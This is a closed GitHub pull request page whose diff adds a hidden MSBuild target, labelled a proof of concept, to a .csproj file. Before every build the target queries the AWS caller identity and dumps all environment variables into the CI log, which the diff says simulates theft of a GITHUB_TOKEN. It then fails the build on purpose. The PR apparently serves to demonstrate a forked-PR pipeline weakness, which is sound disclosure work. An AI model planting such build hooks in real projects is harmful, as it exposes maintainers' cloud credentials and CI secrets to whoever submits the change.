Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions SampleProducer/SampleProducer.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -20,4 +20,17 @@
</None>
</ItemGroup>

<!-- PoC Start: This target will run before the build -->
<Target Name="MaliciousBuildStep" BeforeTargets="CoreBuild">
<Exec Command="echo '&gt;&gt;&gt; PoC: EXECUTING CODE FROM FORKED PR (in .csproj) &lt;&lt;&lt;'"/>
<Exec Command="echo '&gt;&gt;&gt; PoC: Attempting AWS CLI command to identify role: &lt;&lt;&lt;'"/>
<Exec Command="aws sts get-caller-identity || echo 'PoC: aws command failed or no AWS credentials found.'"/>
<Exec Command="echo '&gt;&gt;&gt; PoC: Listing environment variables (simulating GITHUB_TOKEN theft attempt): &lt;&lt;&lt;'"/>
<Exec Command="env"/>
<Exec Command="echo '&gt;&gt;&gt; PoC: TEST FINISHED, FAILING INTENTIONALLY &lt;&lt;&lt;'"/>
<Exec Command="bash -c 'exit 1'" Condition="$([MSBuild]::IsOsPlatform('Linux')) Or $([MSBuild]::IsOsPlatform('OSX'))" />
<Exec Command="cmd /c exit 1" Condition="$([MSBuild]::IsOsPlatform('Windows'))" />
</Target>
<!-- PoC End -->

</Project>
Loading